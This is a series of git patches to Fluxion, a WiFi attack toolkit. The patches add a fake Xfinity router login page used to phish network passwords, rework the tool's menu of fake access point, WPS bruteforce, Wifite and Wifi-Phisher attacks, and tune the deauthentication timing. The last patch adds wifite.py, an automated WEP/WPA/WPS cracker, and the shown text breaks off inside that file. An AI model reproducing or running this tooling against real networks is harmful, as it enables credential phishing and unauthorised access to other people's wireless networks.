.replace(/[\r\n\t]/g, ' ') + "__p.push('"; + }) + .replace(/\r/g, '\\r') + .replace(/\n/g, '\\n') + .replace(/\t/g, '\\t') + + "');}return __p.join('');"; + var func = new Function('obj', tmpl); + return data ? func(data) : func; + }; + + // The OOP Wrapper + // --------------- + + // If Underscore is called as a function, it returns a wrapped object that + // can be used OO-style. This wrapper holds altered versions of all the + // underscore functions. Wrapped objects may be chained. + var wrapper = function(obj) { this._wrapped = obj; }; + + // Expose `wrapper.prototype` as `_.prototype` + _.prototype = wrapper.prototype; + + // Helper function to continue chaining intermediate results. + var result = function(obj, chain) { + return chain ? _(obj).chain() : obj; + }; + + // A method to easily add functions to the OOP wrapper. + var addToWrapper = function(name, func) { + wrapper.prototype[name] = function() { + var args = slice.call(arguments); + unshift.call(args, this._wrapped); + return result(func.apply(_, args), this._chain); + }; + }; + + // Add all of the Underscore functions to the wrapper object. + _.mixin(_); + + // Add all mutator Array functions to the wrapper. + each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) { + var method = ArrayProto[name]; + wrapper.prototype[name] = function() { + method.apply(this._wrapped, arguments); + return result(this._wrapped, this._chain); + }; + }); + + // Add all accessor Array functions to the wrapper. + each(['concat', 'join', 'slice'], function(name) { + var method = ArrayProto[name]; + wrapper.prototype[name] = function() { + return result(method.apply(this._wrapped, arguments), this._chain); + }; + }); + + // Start chaining a wrapped Underscore object. + wrapper.prototype.chain = function() { + this._chain = true; + return this; + }; + + // Extracts the result from a wrapped and chained object. + wrapper.prototype.value = function() { + return this._wrapped; + }; + +})(); From ebf960cacf39ca2858db6a518a08596a83c9435e Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 30 Mar 2016 12:09:37 +0300 Subject: [PATCH 125/294] Delete Xfinity-files --- Sites/Login-Xfinity/Xfinity-files | 1 - 1 file changed, 1 deletion(-) delete mode 100644 Sites/Login-Xfinity/Xfinity-files diff --git a/Sites/Login-Xfinity/Xfinity-files b/Sites/Login-Xfinity/Xfinity-files deleted file mode 100644 index 8b13789..0000000 --- a/Sites/Login-Xfinity/Xfinity-files +++ /dev/null @@ -1 +0,0 @@ - From 774e79dc0965f25f1e1a2369e5abe5680907887d Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 30 Mar 2016 12:10:00 +0300 Subject: [PATCH 126/294] Added files via upload --- Sites/Login-Xfinity/Xfinity.html | 249 +++++++++++++++++++++++++++++++ 1 file changed, 249 insertions(+) create mode 100644 Sites/Login-Xfinity/Xfinity.html diff --git a/Sites/Login-Xfinity/Xfinity.html b/Sites/Login-Xfinity/Xfinity.html new file mode 100644 index 0000000..69f7496 --- /dev/null +++ b/Sites/Login-Xfinity/Xfinity.html @@ -0,0 +1,249 @@ + + + + Xfinity + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    + + + + + + +
    + +
    + +
    +

    Login

    + +
    + + +
    +

    Please login to manage your router.

    +
    + +
    + +
    + + +
    + +
    + + +
    + +
    + +
    + +
    +
    + + +
    + + + +
    + + \ No newline at end of file From 3d397190da356761f1ddeb240d3414484edbaa85 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 3 Apr 2016 22:52:52 +0300 Subject: [PATCH 127/294] Delete wifite.py --- wifite.py | 188 ------------------------------------------------------ 1 file changed, 188 deletions(-) delete mode 100644 wifite.py diff --git a/wifite.py b/wifite.py deleted file mode 100644 index b77b1a6..0000000 --- a/wifite.py +++ /dev/null @@ -1,188 +0,0 @@ -#!/usr/bin/python2.7 - -from py.Configuration import Configuration -from py.Scanner import Scanner -from py.Color import Color -from py.AttackWEP import AttackWEP -from py.AttackWPA import AttackWPA -from py.AttackWPS import AttackWPS -from py.CrackResult import CrackResult -from py.Handshake import Handshake - -from json import loads -import os - -class Wifite(object): - - def main(self): - ''' Either performs action based on arguments, or starts attack scanning ''' - - if os.getuid() != 0: - Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}') - Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}') - return - - Configuration.initialize(load_interface=False) - - if Configuration.show_cracked: - self.display_cracked() - - elif Configuration.check_handshake: - self.check_handshake(Configuration.check_handshake) - - elif Configuration.crack_wpa: - # TODO: Crack .cap file at crack_wpa - Color.pl('{!} Unimplemented method: crack_wpa') - pass - elif Configuration.crack_wep: - # TODO: Crack .cap file at crack_wep - Color.pl('{!} Unimplemented method: crack_wep') - pass - elif Configuration.update: - # TODO: Get latest version from github - Color.pl('{!} Unimplemented method: update') - pass - else: - Configuration.get_interface() - self.run() - - def display_cracked(self): - ''' Show cracked targets from cracked.txt ''' - Color.pl('{+} displaying {C}cracked target(s){W}') - name = CrackResult.cracked_file - if not os.path.exists(name): - Color.pl('{!} {O}file {C}%s{O} not found{W}' % name) - return - f = open(name, 'r') - json = loads(f.read()) - f.close() - for (index, item) in enumerate(json): - Color.pl('\n{+} Cracked target #%d:' % (index + 1)) - cr = CrackResult.load(item) - cr.dump() - - def check_handshake(self, capfile): - ''' Analyzes .cap file for handshake ''' - Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile) - if not os.path.exists(capfile): - Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile) - return - hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid) - hs.analyze() - - - def run(self): - ''' - Main program. - 1) Scans for targets, asks user to select targets - 2) Attacks each target - ''' - s = Scanner() - if s.target: - # We found the target we want - targets = [s.target] - else: - targets = s.select_targets() - - targets_remaining = len(targets) - for index, t in enumerate(targets): - targets_remaining -= 1 - - Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index + 1, len(targets)) + - ' starting attacks against {C}%s{W} ({C}%s{W})' - % (t.bssid, t.essid)) - if 'WEP' in t.encryption: - attack = AttackWEP(t) - elif 'WPA' in t.encryption: - if t.wps: - attack = AttackWPS(t) - result = False - try: - result = attack.run() - except KeyboardInterrupt: - if not self.user_wants_to_continue(targets_remaining, 1): - break - - if result and attack.success: - # We cracked it. - attack.crack_result.save() - continue - else: - # WPS failed, try WPA handshake. - attack = AttackWPA(t) - else: - # Not using WPS, try WPA handshake. - attack = AttackWPA(t) - else: - Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA") - continue - - try: - attack.run() - except KeyboardInterrupt: - if not self.user_wants_to_continue(targets_remaining): - break - - if attack.success: - attack.crack_result.save() - - - def print_banner(self): - """ Displays ASCII art of the highest caliber. """ - Color.pl("") - Color.pl("{G} .;' `;, ") - Color.pl("{G} .;' ,;' `;, `;, {W}WiFite v%.2f" % Configuration.version) - Color.pl("{G}.;' ,;' ,;' `;, `;, `;, ") - Color.pl("{G}:: :: : {GR}( ){G} : :: :: {W}Automated Wireless Auditor") - Color.pl("{G}':. ':. ':. {GR}/_\\{G} ,:' ,:' ,:' ") - Color.pl("{G} ':. ':. {GR}/___\\{G} ,:' ,:' {C}https://github.com/derv82/wifite2{W}") - Color.pl("{G} ':. {GR}/_____\\{G} ,:' ") - Color.pl("{G} {GR}/ \\{G} ") - Color.pl("{W}") - - - def user_wants_to_continue(self, targets_remaining, attacks_remaining=0): - ''' Asks user if attacks should continue onto other targets ''' - Color.pl('\n{!} {O}interrupted{W}\n') - if attacks_remaining == 0 and targets_remaining == 0: - # No targets or attacksleft, drop out - return - - prompt_list = [] - if attacks_remaining > 0: - prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining)) - if targets_remaining > 0: - prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining)) - prompt = ' and '.join(prompt_list) - Color.pl('{+} %s remain, do you want to continue?' % prompt) - - prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' + - ' or {R}s{W} to {R}stop{W}: ') - - if raw_input(prompt).lower().startswith('s'): - return False - else: - return True - - -if __name__ == '__main__': - w = Wifite() - try: - w.print_banner() - w.main() - except Exception, e: - Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e)) - if Configuration.verbose > 0: - Color.pl('\n{!} {O}Full stack trace below') - from traceback import format_exc - Color.p('\n{!} ') - err = format_exc().strip() - err = err.replace('\n', '\n{!} {C} ') - err = err.replace(' File', '{W}File') - err = err.replace(' Exception: ', '{R}Exception: {O}') - Color.pl(err) - Color.pl('\n{!} {R}Exiting{W}\n') - except KeyboardInterrupt: - Color.pl('\n{!} {O}interrupted{W}') - Configuration.exit_gracefully(0) - From 95fe4825b0a8c8c5971f8fc67e3908487811509f Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 3 Apr 2016 22:54:00 +0300 Subject: [PATCH 128/294] Delete useless stuff --- fluxion | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/fluxion b/fluxion index 1ecb955..bbe06b2 100755 --- a/fluxion +++ b/fluxion @@ -959,10 +959,7 @@ function askAP { echo -e " "$blue"1)"$transparent" FakeAP - Hostapd ("$red"Recommended)" echo -e " "$blue"2)"$transparent" FakeAP - airbase-ng (Slower connection)" echo -e " "$blue"3)"$transparent" WPS-SLAUGHTER - Bruteforce WPS Pin" - echo -e " "$blue"4)"$transparent" Wifite - Automated Network Hacking" - echo -e " "$blue"5)"$transparent" Wifi-Phisher - Evil Twin (Requires 2 Adapters)" - echo -e " "$blue"6)"$transparent" Mana" - echo -e " "$blue"7)"$transparent" Back" + echo -e " "$blue"4)"$transparent" Back" echo " " echo -n " #> " read yn @@ -971,10 +968,7 @@ function askAP { 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) fakeapmode="WPS-SLAUGHTER"; wps; break ;; - 4 ) fakeapmode="Wifite" ; wifite ; break ;; - 5 ) fakeapmode="Wifi-Phisher"; wifi-phisher ; break ;; - 6 ) fakeapmode="Mana" ; mostrarheader; echo "Mana is still to bugy ..."; conditional_clear ;; - 7 ) selection; break ;; + 4 ) selection; break ;; * ) echo "Unknown option. Choose again"; conditional_clear ;; esac done From 6dd344bbb86a0b28d26108326ef470e12385c22b Mon Sep 17 00:00:00 2001 From: William Todt Date: Mon, 4 Apr 2016 19:44:55 +0300 Subject: [PATCH 129/294] Delete useless stuff --- fluxion | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/fluxion b/fluxion index bbe06b2..7e91beb 100755 --- a/fluxion +++ b/fluxion @@ -1002,17 +1002,6 @@ Unknown option. Choose again"; conditional_clear ;; done } -function wifi-phisher { -mostrarheader -conditional_clear -cd tools -python wifiphisher.py -exitmode -} - -function wifite { -python wifite.py -} function wps { clear From 6e76326e15f7d47e86c818bb59ff025a7c3d3a2e Mon Sep 17 00:00:00 2001 From: William Todt Date: Fri, 8 Apr 2016 19:52:46 +0300 Subject: [PATCH 130/294] Update Installer.sh --- Installer.sh | 19 ++++--------------- 1 file changed, 4 insertions(+), 15 deletions(-) diff --git a/Installer.sh b/Installer.sh index 63fedb4..aaf6335 100755 --- a/Installer.sh +++ b/Installer.sh @@ -1,3 +1,4 @@ +##Only for Kali ####### < Color > ####### white="\033[1;37m" @@ -16,6 +17,9 @@ if [[ $EUID -ne 0 ]]; then fi ############################################# < START > #################################################### + + sudo apt-get update + clear echo -e "\e[1;31mInstaller - by Deltax" echo -e "\e[1;31mCheck & autoinstall" @@ -24,16 +28,6 @@ fi echo -e "\e[1;31mBug add-apt-repository" echo -e "\e[1;31mor add kali sources in etc/apt/source.lst" - - - clear - apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF6 - apt-add-repository deb http://http.kali.org/kali kali main non-free contrib - apt-add-repository deb http://security.kali.org/kali-security kali/updates main contrib non-free - apt-get update -m - - - sleep 5 clear echo -ne "Aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then @@ -209,8 +203,3 @@ fi clear -echo "sources.list is located in /etc/apt/sources.list" -echo "remove kali source" -vi /etc/apt/sources.list -vi /etc/apt/sources.list -apt-get update From a324e5801731d668795f537a833b0fe680fc0483 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sat, 9 Apr 2016 14:40:40 +0300 Subject: [PATCH 131/294] Update README.md --- README.md | 38 +++++++++++++++++--------------------- 1 file changed, 17 insertions(+), 21 deletions(-) diff --git a/README.md b/README.md index 5104b57..3b2e86b 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,14 @@ #Fluxion is the future Fluxion is a remake of linset by vk439 with fixed bugs and added features. It's compatible with the latest release of Kali (Rolling) -#How it works +## :scroll: Changelog +Fluxion gets updated weekly with new features, improvements and bugfixes. +Be sure to check out the [Channelog] (https://github.com/deltaxflux/fluxion) + + + + +##How it works * Scan the networks. * Capture handshake (can't be used without a valid handshake, it's necessary to verify the password) @@ -15,28 +22,9 @@ Fluxion is a remake of linset by vk439 with fixed bugs and added features. It's * The attack will automatically terminate once correct password is submitted -#Install dependencies: -1. Run installer script -```shell -sudo ./Installer.sh -``` -#Launch fluxion -2) Execute the main script -```shell -$ sudo ./fluxion -``` - -#Credits -1. Deltax @FLuX and Fluxion main developer -2. Strasharo @Fluxion help to fix DHCPD and pyrit problems, spelling mistakes -3. vk439 @Linset main developer of linset -4. ApatheticEuphoria @Wifi-Slaughter WPS Crack -5. Derv82 @Wifite/2 -6. Sophron @Wifiphisher -7. sensepost @Mana -#Bugs fixed +## Bugs fixed - [x] Negative Channel - [x] Kali Patch for Kali Patch 2 - [x] Added airmon @@ -46,3 +34,11 @@ $ sudo ./fluxion - [x] Animations - [x] Wifi List Bug +## :octocat: Credits +1. Deltax @FLuX and Fluxion main developer +2. Strasharo @Fluxion help to fix DHCPD and pyrit problems, spelling mistakes +3. vk439 @Linset main developer of linset +4. ApatheticEuphoria @Wifi-Slaughter WPS Crack +5. Derv82 @Wifite/2 +6. Sophron @Wifiphisher +7. sensepost @Mana From 220d44912a0d3ccef00ab2bfe344b8ebf20f1a69 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sat, 9 Apr 2016 14:44:26 +0300 Subject: [PATCH 132/294] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 3b2e86b..d273e28 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ Be sure to check out the [Channelog] (https://github.com/deltaxflux/fluxion) -##How it works +## :book: How it works * Scan the networks. * Capture handshake (can't be used without a valid handshake, it's necessary to verify the password) @@ -24,7 +24,7 @@ Be sure to check out the [Channelog] (https://github.com/deltaxflux/fluxion) -## Bugs fixed +## :eight_spoked_asterisk: Bugs fixed - [x] Negative Channel - [x] Kali Patch for Kali Patch 2 - [x] Added airmon From 4e72e0adaedd9d964194a94cbde58190e39f6d09 Mon Sep 17 00:00:00 2001 From: William Todt Date: Tue, 12 Apr 2016 07:49:19 +0300 Subject: [PATCH 133/294] Update fluxion --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 7e91beb..aff0fd5 100755 --- a/fluxion +++ b/fluxion @@ -18,7 +18,7 @@ DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" # Deauth duration during handshake capture -DEAUTHTIME="30" +DEAUTHTIME="20" revision=1 version=0.19 IP=192.168.1.1 From 8b69aedf6f6570d8c05a1486d850d134202010d4 Mon Sep 17 00:00:00 2001 From: Apathetic Euphoria Date: Thu, 14 Apr 2016 15:02:19 -0700 Subject: [PATCH 134/294] Update fluxion --- fluxion | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/fluxion b/fluxion index aff0fd5..7cbd135 100755 --- a/fluxion +++ b/fluxion @@ -954,12 +954,13 @@ function askAP { infoap - echo "#### Select Attack Option ####" + echo " #### Select Attack Option ####" echo " " echo -e " "$blue"1)"$transparent" FakeAP - Hostapd ("$red"Recommended)" echo -e " "$blue"2)"$transparent" FakeAP - airbase-ng (Slower connection)" echo -e " "$blue"3)"$transparent" WPS-SLAUGHTER - Bruteforce WPS Pin" - echo -e " "$blue"4)"$transparent" Back" + echo -e " "$blue"4)"$transparent" Wifite - Automated Network Hacking" + echo -e " "$blue"5)"$transparent" Back" echo " " echo -n " #> " read yn @@ -968,7 +969,8 @@ function askAP { 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) fakeapmode="WPS-SLAUGHTER"; wps; break ;; - 4 ) selection; break ;; + 4 ) wifite ;; + 5 ) selection; break ;; * ) echo "Unknown option. Choose again"; conditional_clear ;; esac done From 0e56dd0863b472eaf300e2d9b8facdd8166c293f Mon Sep 17 00:00:00 2001 From: William Todt Date: Fri, 15 Apr 2016 16:25:12 +0200 Subject: [PATCH 135/294] Update fluxion --- fluxion | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 7cbd135..4de18d9 100755 --- a/fluxion +++ b/fluxion @@ -969,7 +969,7 @@ function askAP { 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) fakeapmode="WPS-SLAUGHTER"; wps; break ;; - 4 ) wifite ;; + 4 ) wifite ;wifite; break;; 5 ) selection; break ;; * ) echo "Unknown option. Choose again"; conditional_clear ;; esac @@ -977,6 +977,10 @@ function askAP { } +#wifite Not finished yet +function wifite { + python wifite.py +} # Test Passwords / airbase-ng function askauth { From 942b4d1f2493d5852e47fd1d7da4d8554339c6f0 Mon Sep 17 00:00:00 2001 From: William Todt Date: Fri, 15 Apr 2016 16:25:50 +0200 Subject: [PATCH 136/294] Added files via upload --- wifite.py | 3532 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 3532 insertions(+) create mode 100644 wifite.py diff --git a/wifite.py b/wifite.py new file mode 100644 index 0000000..3fb72e8 --- /dev/null +++ b/wifite.py @@ -0,0 +1,3532 @@ +#!/usr/bin/python + +# -*- coding: utf-8 -*- + +""" + wifite + + author: derv82 at gmail + author: bwall @botnet_hunter (ballastsec@gmail.com) + author: drone @dronesec (ballastsec@gmail.com) + + Thanks to everyone that contributed to this project. + If you helped in the past and want your name here, shoot me an email + + Licensed under the GNU General Public License Version 2 (GNU GPL v2), + available at: http://www.gnu.org/licenses/gpl-2.0.txt + + (C) 2011 Derv Merkler + + Ballast Security additions + ----------------- + - No longer requires to be root to run -cracked + - cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s) + - Backwards compatibility + - Made a run configuration class to handle globals + - Added -recrack (shows already cracked APs in the possible targets, otherwise hides them) + - Changed the updater to grab files from GitHub and not Google Code + - Use argparse to parse command-line arguments + - -wepca flag now properly initialized if passed through CLI + - parse_csv uses python csv library + ----------------- + + + TODO: + + Restore same command-line switch names from v1 + + If device already in monitor mode, check for and, if applicable, use macchanger + + WPS + * Mention reaver automatically resumes sessions + * Warning about length of time required for WPS attack (*hours*) + * Show time since last successful attempt + * Percentage of tries/attempts ? + * Update code to work with reaver 1.4 ("x" sec/att) + + WEP: + * ability to pause/skip/continue (done, not tested) + * Option to capture only IVS packets (uses --output-format ivs,csv) + - not compatible on older aircrack-ng's. + - Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works + - would cut down on size of saved .caps + + reaver: + MONITOR ACTIVITY! + - Enter ESSID when executing (?) + - Ensure WPS key attempts have begun. + - If no attempts can be made, stop attack + + - During attack, if no attempts are made within X minutes, stop attack & Print + + - Reaver's output when unable to associate: + [!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF) + - If failed to associate for x minutes, stop attack (same as no attempts?) + + MIGHTDO: + * WPA - crack (pyrit/cowpatty) (not really important) + * Test injection at startup? (skippable via command-line switch) + +""" + +# ############ +# LIBRARIES # +############# + +import csv # Exporting and importing cracked aps +import os # File management +import time # Measuring attack intervals +import random # Generating a random MAC address. +import errno # Error numbers + +from sys import argv # Command-line arguments +from sys import stdout # Flushing + +from shutil import copy # Copying .cap files + +# Executing, communicating with, killing processes +from subprocess import Popen, call, PIPE +from signal import SIGINT, SIGTERM + +import re # RegEx, Converting SSID to filename +import argparse # arg parsing +import urllib # Check for new versions from the repo +import abc # abstract base class libraries for attack templates + + +################################ +# GLOBAL VARIABLES IN ALL CAPS # +################################ + +# Console colors +W = '\033[0m' # white (normal) +R = '\033[31m' # red +G = '\033[32m' # green +O = '\033[33m' # orange +B = '\033[34m' # blue +P = '\033[35m' # purple +C = '\033[36m' # cyan +GR = '\033[37m' # gray + +# /dev/null, send output from programs so they don't print to screen. +DN = open(os.devnull, 'w') +ERRLOG = open(os.devnull, 'w') +OUTLOG = open(os.devnull, 'w') + +################### +# DATA STRUCTURES # +################### + + +class CapFile: + """ + Holds data about an access point's .cap file, including AP's ESSID & BSSID. + """ + + def __init__(self, filename, ssid, bssid): + self.filename = filename + self.ssid = ssid + self.bssid = bssid + + +class Target: + """ + Holds data for a Target (aka Access Point aka Router) + """ + + def __init__(self, bssid, power, data, channel, encryption, ssid): + self.bssid = bssid + self.power = power + self.data = data + self.channel = channel + self.encryption = encryption + self.ssid = ssid + self.wps = False # Default to non-WPS-enabled router. + self.key = '' + + +class Client: + """ + Holds data for a Client (device connected to Access Point/Router) + """ + + def __init__(self, bssid, station, power): + self.bssid = bssid + self.station = station + self.power = power + + +class RunConfiguration: + """ + Configuration for this rounds of attacks + """ + + def __init__(self): + self.REVISION = 87; + self.PRINTED_SCANNING = False + + self.TX_POWER = 0 # Transmit power for wireless interface, 0 uses default power + + # WPA variables + self.WPA_DISABLE = False # Flag to skip WPA handshake capture + self.WPA_STRIP_HANDSHAKE = True # Use pyrit or tshark (if applicable) to strip handshake + self.WPA_DEAUTH_COUNT = 5 # Count to send deauthentication packets + self.WPA_DEAUTH_TIMEOUT = 10 # Time to wait between deauthentication bursts (in seconds) + self.WPA_ATTACK_TIMEOUT = 500 # Total time to allow for a handshake attack (in seconds) + self.WPA_HANDSHAKE_DIR = 'hs' # Directory in which handshakes .cap files are stored + # Strip file path separator if needed + if self.WPA_HANDSHAKE_DIR != '' and self.WPA_HANDSHAKE_DIR[-1] == os.sep: + self.WPA_HANDSHAKE_DIR = self.WPA_HANDSHAKE_DIR[:-1] + + self.WPA_FINDINGS = [] # List of strings containing info on successful WPA attacks + self.WPA_DONT_CRACK = False # Flag to skip cracking of handshakes + if os.path.exists('/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'): + self.WPA_DICTIONARY = '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt' + elif os.path.exists('/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'): + self.WPA_DICTIONARY = '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt' + else: + self.WPA_DICTIONARY = '' + + # Various programs to use when checking for a four-way handshake. + # True means the program must find a valid handshake in order for wifite to recognize a handshake. + # Not finding handshake short circuits result (ALL 'True' programs must find handshake) + self.WPA_HANDSHAKE_TSHARK = True # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th) + self.WPA_HANDSHAKE_PYRIT = False # Sometimes crashes on incomplete dumps, but accurate. + self.WPA_HANDSHAKE_AIRCRACK = True # Not 100% accurate, but fast. + self.WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2) + + # WEP variables + self.WEP_DISABLE = False # Flag for ignoring WEP networks + self.WEP_PPS = 600 # packets per second (Tx rate) + self.WEP_TIMEOUT = 600 # Amount of time to give each attack + self.WEP_ARP_REPLAY = True # Various WEP-based attacks via aireplay-ng + self.WEP_CHOPCHOP = True # + self.WEP_FRAGMENT = True # + self.WEP_CAFFELATTE = True # + self.WEP_P0841 = True + self.WEP_HIRTE = True + self.WEP_CRACK_AT_IVS = 10000 # Number of IVS at which we start cracking + self.WEP_IGNORE_FAKEAUTH = True # When True, continues attack despite fake authentication failure + self.WEP_FINDINGS = [] # List of strings containing info on successful WEP attacks. + self.WEP_SAVE = False # Save packets. + + # WPS variables + self.WPS_DISABLE = False # Flag to skip WPS scan and attacks + self.PIXIE = False + self.WPS_FINDINGS = [] # List of (successful) results of WPS attacks + self.WPS_TIMEOUT = 660 # Time to wait (in seconds) for successful PIN attempt + self.WPS_RATIO_THRESHOLD = 0.01 # Lowest percentage of tries/attempts allowed (where tries > 0) + self.WPS_MAX_RETRIES = 0 # Number of times to re-try the same pin before giving up completely. + + + # Program variables + self.SHOW_ALREADY_CRACKED = False # Says whether to show already cracked APs as options to crack + self.WIRELESS_IFACE = '' # User-defined interface + self.MONITOR_IFACE = '' # User-defined interface already in monitor mode + self.TARGET_CHANNEL = 0 # User-defined channel to scan on + self.TARGET_ESSID = '' # User-defined ESSID of specific target to attack + self.TARGET_BSSID = '' # User-defined BSSID of specific target to attack + self.IFACE_TO_TAKE_DOWN = '' # Interface that wifite puts into monitor mode + # It's our job to put it out of monitor mode after the attacks + self.ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing) + self.DO_NOT_CHANGE_MAC = True # Flag for disabling MAC anonymizer + self.SEND_DEAUTHS = True # Flag for deauthing clients while scanning for acces points + self.TARGETS_REMAINING = 0 # Number of access points remaining to attack + self.WPA_CAPS_TO_CRACK = [] # list of .cap files to crack (full of CapFile objects) + self.THIS_MAC = '' # The interfaces current MAC address. + self.SHOW_MAC_IN_SCAN = False # Display MACs of the SSIDs in the list of targets + self.CRACKED_TARGETS = [] # List of targets we have already cracked + self.ATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone* + self.ATTACK_MIN_POWER = 0 # Minimum power (dB) for access point to be considered a target + self.VERBOSE_APS = True # Print access points as they appear + self.CRACKED_TARGETS = self.load_cracked() + old_cracked = self.load_old_cracked() + if len(old_cracked) > 0: + # Merge the results + for OC in old_cracked: + new = True + for NC in self.CRACKED_TARGETS: + if OC.bssid == NC.bssid: + new = False + break + # If Target isn't in the other list + # Add and save to disk + if new: + self.save_cracked(OC) + + def ConfirmRunningAsRoot(self): + if os.getuid() != 0: + print R + ' [!]' + O + ' ERROR:' + G + ' wifite' + O + ' must be run as ' + R + 'root' + W + print R + ' [!]' + O + ' login as root (' + W + 'su root' + O + ') or try ' + W + 'sudo ./wifite.py' + W + exit(1) + + def ConfirmCorrectPlatform(self): + if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not? + print O + ' [!]' + R + ' WARNING:' + G + ' wifite' + W + ' must be run on ' + O + 'linux' + W + exit(1) + + def CreateTempFolder(self): + from tempfile import mkdtemp + + self.temp = mkdtemp(prefix='wifite') + if not self.temp.endswith(os.sep): + self.temp += os.sep + + def save_cracked(self, target): + """ + Saves cracked access point key and info to a file. + """ + self.CRACKED_TARGETS.append(target) + with open('cracked.csv', 'wb') as csvfile: + targetwriter = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL) + for target in self.CRACKED_TARGETS: + targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps]) + + def load_cracked(self): + """ + Loads info about cracked access points into list, returns list. + """ + result = [] + if not os.path.exists('cracked.csv'): return result + with open('cracked.csv', 'rb') as csvfile: + targetreader = csv.reader(csvfile, delimiter=',', quotechar='"') + for row in targetreader: + t = Target(row[0], 0, 0, 0, row[1], row[2]) + t.key = row[3] + t.wps = row[4] + result.append(t) + return result + + def load_old_cracked(self): + """ + Loads info about cracked access points into list, returns list. + """ + result = [] + if not os.path.exists('cracked.txt'): + return result + fin = open('cracked.txt', 'r') + lines = fin.read().split('\n') + fin.close() + + for line in lines: + fields = line.split(chr(0)) + if len(fields) <= 3: + continue + tar = Target(fields[0], '', '', '', fields[3], fields[1]) + tar.key = fields[2] + result.append(tar) + return result + + def exit_gracefully(self, code=0): + """ + We may exit the program at any time. + We want to remove the temp folder and any files contained within it. + Removes the temp files/folder and exists with error code "code". + """ + # Remove temp files and folder + if os.path.exists(self.temp): + for f in os.listdir(self.temp): + os.remove(self.temp + f) + os.rmdir(self.temp) + # Disable monitor mode if enabled by us + self.RUN_ENGINE.disable_monitor_mode() + # Change MAC address back if spoofed + mac_change_back() + print GR + " [+]" + W + " quitting" # wifite will now exit" + print '' + # GTFO + exit(code) + + def handle_args(self): + """ + Handles command-line arguments, sets global variables. + """ + set_encrypt = False + set_hscheck = False + set_wep = False + capfile = '' # Filename of .cap file to analyze for handshakes + + opt_parser = self.build_opt_parser() + options = opt_parser.parse_args() + + try: + if not set_encrypt and (options.wpa or options.wep or options.wps): + self.WPS_DISABLE = True + self.WPA_DISABLE = True + self.WEP_DISABLE = True + set_encrypt = True + if options.recrack: + self.SHOW_ALREADY_CRACKED = True + print GR + ' [+]' + W + ' including already cracked networks in targets.' + if options.wpa: + if options.wps: + print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks.' + else: + print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks (use ' + G + '-wps' + W + ' for WPS scan)' + self.WPA_DISABLE = False + if options.wep: + print GR + ' [+]' + W + ' targeting ' + G + 'WEP' + W + ' encrypted networks' + self.WEP_DISABLE = False + if options.wps: + print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.' + self.WPS_DISABLE = False + if options.pixie: + print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.' + print GR + ' [+]' + W + ' using only ' + G + 'WPS Pixie-Dust' + W + ' attack.' + self.WPS_DISABLE = False + self.WEP_DISABLE = True + self.PIXIE = True + if options.channel: + try: + self.TARGET_CHANNEL = int(options.channel) + except ValueError: + print O + ' [!]' + R + ' invalid channel: ' + O + options.channel + W + except IndexError: + print O + ' [!]' + R + ' no channel given!' + W + 